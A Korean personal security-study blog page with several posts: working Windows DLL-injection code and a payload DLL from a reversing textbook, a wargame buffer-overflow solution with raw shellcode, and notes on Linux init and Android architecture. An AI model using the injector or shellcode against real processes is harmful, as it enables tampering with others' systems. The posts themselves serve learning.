zj3t

email: euntaejang@gmail.com

Latest Posts
리버싱 핵심원리의 실습은 모두 32비트 환경에서 실행되었어서 대부분의 독자들은 실습이 원활하게 되지 않을 것입니다. 저 또한 dll injection 실습을 해보고싶었는데 실습이 되질 않았습니다.

그래서 책에 있는 실습코드를 VS에서 똑같이 코딩한 후 실행했는데도 되지 않아 이유를 찾아봤는데 대부분 VS에서 프로그램을 만든다고 하면 32비트 파일입니다.(기본적으로 설정)
하지만 OS 64bit 이기 때문에 메모장 또한 64bit 프로그램입니다. 따라서 코드는 32비트인데 인젝션할 프로그램은 64bit 이기 때문에 실습이 되지 않았던 것입니다.

그래서 저는
C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe로 실습을 해봤습니다.

notepad로 하고싶은 분들은 32bit 메모장을 구해서 실습할 수 있고 또한 가상머신으로 32bit OS를 적용시켜 실습할 수 있습니다.

///////////////////////////////////////////////////////////////////////////////////////////////////////

//InjectionDll.exe
#include "windows.h"
#include "tchar.h"
 
BOOL InjectDLL(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1)*sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
 
 
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
 
return FALSE;
}
 
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
 
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
 
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

hThread = CreateRemoteThreadEx(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
 
CloseHandle(hThread);
CloseHandle(hProcess);
 
return TRUE;
}
 
int _tmain(int argc, TCHAR *argv[])
{
if (argc != 3)
{
_tprintf(L"USAGE: %s pid dll_path\n", argv[0]);
return 1;
}
if(InjectDLL((DWORD)_tstol(argv[1]),argv[2]))
{
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
}
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
 
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

이 코드는 리버스코어(책의 저작자 블로그)에서 볼 수 있습니다.

이 프로그램이 dll을 프로세스에 인젝션 시킬 수 있도록 해주는 프로그램입니다. 

단계를 보면

1.tmain, 즉 main 함수에서 InjecDLL()함수를 호출합니다. 

2.InjectDLL()을 보면 BOOL InjectDLL(DWORD dwPID, LPCTSTR szDllPath) 라고 정의, 첫번째 매개변수는 PID, 두번   째 매개변수는 인젝션 시킬 dll의 경로

3.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)), 해당 PID를 가진 프로세스 핸들을 가져옵니다.

4.VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); 해당 핸들의 메모리에 인젝션할 dll의 경로만큼의 크기를 할당합니다.  반환값은 할당한 메모리의 시작주소 입니다.

5.WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); 로 할당한 메모리에 두번 째 매개변수인 dll의 경로를 써줍니다.

6.
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

:kernel32.dll의 모듈을 가져와 이를 이용하여 kernel32.dll에 있는 LoadLibraryW의 주소를 알아낸다.

7.hThread = CreateRemoteThreadEx(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL, NULL); 를 이용,
원래 실습코드에서는 CreateRemoteThread를 사용했지만 윈도우 7부터는 Ex를 권장한다고 해서 써봤습니다. Ex가 아니여도 실습은 되었습니다.

8. CloseHandle(hThread);
   CloseHandle(hProcess);

저도 API 프로그래밍을 해본적이 몇번없어서 코드를 이해하는데 많은 시간을 소비했고 이렇게 포스팅을 함으로써 확실히 알아가려고 하는 것입니다. 첨부터 어렵다고 넘기기보단 하나씩 구글검색하면서 찾아보면 이해할 수 있을 것입니다.

팁으로 비쥬얼 스튜디오2015 디버깅을 이용하면 에러찾기가 수월합니다.

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

//myhack.cpp
 
#include "windows.h"
#include "tchar.h"
 
#pragma comment(lib, "urlmon.lib")
 
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
 
HMODULE g_hMod = NULL;
 
DWORD WINAPI ThreadProc(LPVOID lparam)
{
TCHAR szPath[_MAX_PATH] = { 0, };
if (!GetModuleFileName(g_hMod, szPath, MAX_PATH))
return FALSE;
 
TCHAR *p = _tcsrchr(szPath, '\\');
if (!p)
return FALSE;
 
_tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME);
 
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
 
return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
 
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"myhack.dll Injection!!!");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
}
 
return TRUE;
}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

이 코드 또한 리버스코에(www.reversecore.com)에서 볼 수 있습니다.

대략 적인 흐름을 보면

1.case DLL_PROCESS_ATTACH:
  OutputDebugString(L"myhack.dll Injection!!!"); 
  hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
  CloseHandle(hThread);

dll일 attach되면 즉 실행하게 되면 실행되는 코드들 입니다.

2. #define DEF_URL (L"http://www.naver.com/index.html")
   #define DEF_FILE_NAME (L"index.html")

3.GetModuleFileName(g_hMod, szPath, MAX_PATH)로 실행되고있는 파일의 경로를 두번째 매개변수에 리턴

4.TCHAR *p = _tcsrchr(szPath, '\\'); : \\다음의 문자열을 가져오고 포인터 p는 그 문자열의 시작주소를 가리킴

5. _tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME); : p+1에 index.html  문자열을 copy

6.URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL); : p는 szPath를 가리키므로 파일의 경로에 index.html을 
                                                                           붙혀 URL로 부터 html파일을 다운로드함.



실습:













여기까지 실습이 됬습니다. 계속해도 안되던 실습을 날잡고 해보자 마음먹고 해봤는데 코드의 대략적인 흐름부터해서 알 수있었습니다. 

구글이나 네이버등 사이트를 이용해 API를 검색해서 찾아봐야 이해가 쉬울 것 같습니다.







실행과정:  start_kernel() -> init_post() -> run_init_process()->init 프로세스 실행

static int noinline init_post() {

if (exec_command) {
run_init_process(exec_command);
}
run_init_process("/sbin/init");
run_init_process("/etc/init");
run_init_process("/bin/init");
run_init_process("/bin/sh");
}

init_post()함수는 run_init_process()함수를 호출하여 exec_command에 등록된 프로세스 파일의 경로를 가지고 execve() 시스템 콜을 호출, 즉 경로에 있는 프로세스를 실행한다.

init 프로세스를 정상적으로 실행하기 위해서는 커널의 부팅옵션이 "init=/init"이여야한다.

커널 패닉: 루트 파일 시스템의 최상위 디렉터리에 init이 없다 and 부팅옵션이 설정 되지                  않았다.  and  /sbin,/etc,/bin 디렉터레 init이 없다. 


예전에 10을 풀다 어려워서 나중에 풀어야지 했는데 오늘 오전에 잠깐 시간내서 풀어봤습니다.

이 문제의 포인트는 argv[0], 즉 프로그램의 이름이 스택의 끝에 남아있는다는 점입니다.
그래서 argv들을 모두 초기화해도 스택에 프로그램의 이름이 남아있게 되는데 이를 이용해서 풀었습니다.

쉘코드는 "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"

를 이용했습니다. 제가 기존에 쓰던 쉘코드로는 풀리지 않았습니다. 저 쉘코드를 이용하니 한번에 풀렸습니다.


#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}

// argc saver
saved_argc = argc;

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}

저 빨간색 부분때문에 어려운 문제 였던 것 같습니다. argv들을 모두 초기화 하기 떄문에 스택에 argv[0]인 프로그램의 이름이 쓰여진다는 것을 모르는 풀기 힘들 것 같습니다.







여기 스택에 프로그램의 이름이 쓰여있습니다.






안드로이드 플랫폼의 구조: 에플리케이션, 프레임워크, 라이브러리, 리눅스 커널

안드로이드에서 제공하는 기본 에플리케이션은 에플리케이션 프레임워크 계층 위에서 동작

안드로이드 소스 코드 구조(크게 4가지):

kernel: 안드로이드는 리눅스 커널을 기반

frameworks: 안드로이드 프레임 워크

package: 안드로이드 기본 에플리케이션 등

system: 안드로이드 init 프로세스, 각종 도구 모음 등



리눅스 커널: 커널 초기화 수행 후 init프로세스를 호출

init: 각종 디바이스 초기화등, 프레임워크 동작에 필요한 각종 데몬, 프로세스들을 실행

Context Manager: 
안드로이드의 시스템 서비스를 관리하는 중요한 프로세스, 시스템 서비스란 안드로이드 시스템에서 동작하는 서비스 중에서 시스템에 등록된 서비스를 의미

시스템 서비스를 이용하고자 하는 애플리케이션, 프레임워크 내부 모듈은 서비스 매니저에게 요청한후 IPC(Inter process communication)메카니즘을 통해 시스템 서비스를 이용

     Context Manager: 시스템 서비스의 위치를 관리하는 프로세스이며, 서비스 매니저 프                                로세스로 동작하는 특별한 서비스

     Service Manager:  시스템에 서비스를 등록하고 검색하는 기능을 제공. Context 매니저                              와 바인더 IPC를 한다.

Media  Server:
C/C++ 기반으로 작성돼 있는 네이티브 시스템 서비스를 실행하는 역할을 한다.

Zygote:
안드로이드 애플리케이션의 로딩 시간을 단축위한 프로세스, 모든 자바 기반의 안드로이드 app 은 Zygote를 통해서 for된 프로세스 상에서 동작한다.

시스템 서버:
Zygote로 부터 최초로 fork 되어 실행되는 프로세스, 각종 자바 시스템 서비스를 실행하는 역할을 수행한다.
시스템 서버에서 실행하는 자바 시스템 서비스 또한 app이나 framework 내부 모듈에서 이용할 수 있도록 하기위해서는 context manager에 등록되어 있어야한다.

하지만 그림에서 보다시피 자바 시스템 서비스는 java로 구현되어 있고 Context Manager는 C언어 기반으로 구현되어있다. 따라서 java와 C 간의 인터페이스 역할을 하는 JNI를 추가로 이용해야한다.



참초: 인사이드 안드로이드



공부하다 일일이 아스키코드표 보는게 신경쓰여서 간단히 만들어봤습니다.
필요하시면 아무나 가져다 쓰세요.



Download: Turn_ASC.exe
시험기간이라 이번엔 공부에 시간을 쓰느랴 블로그를 관리못했었습니다.

안드로이드 공부를 시작했는데 앞으로 안드로이드 관련 포스팅을 해보겠습니다.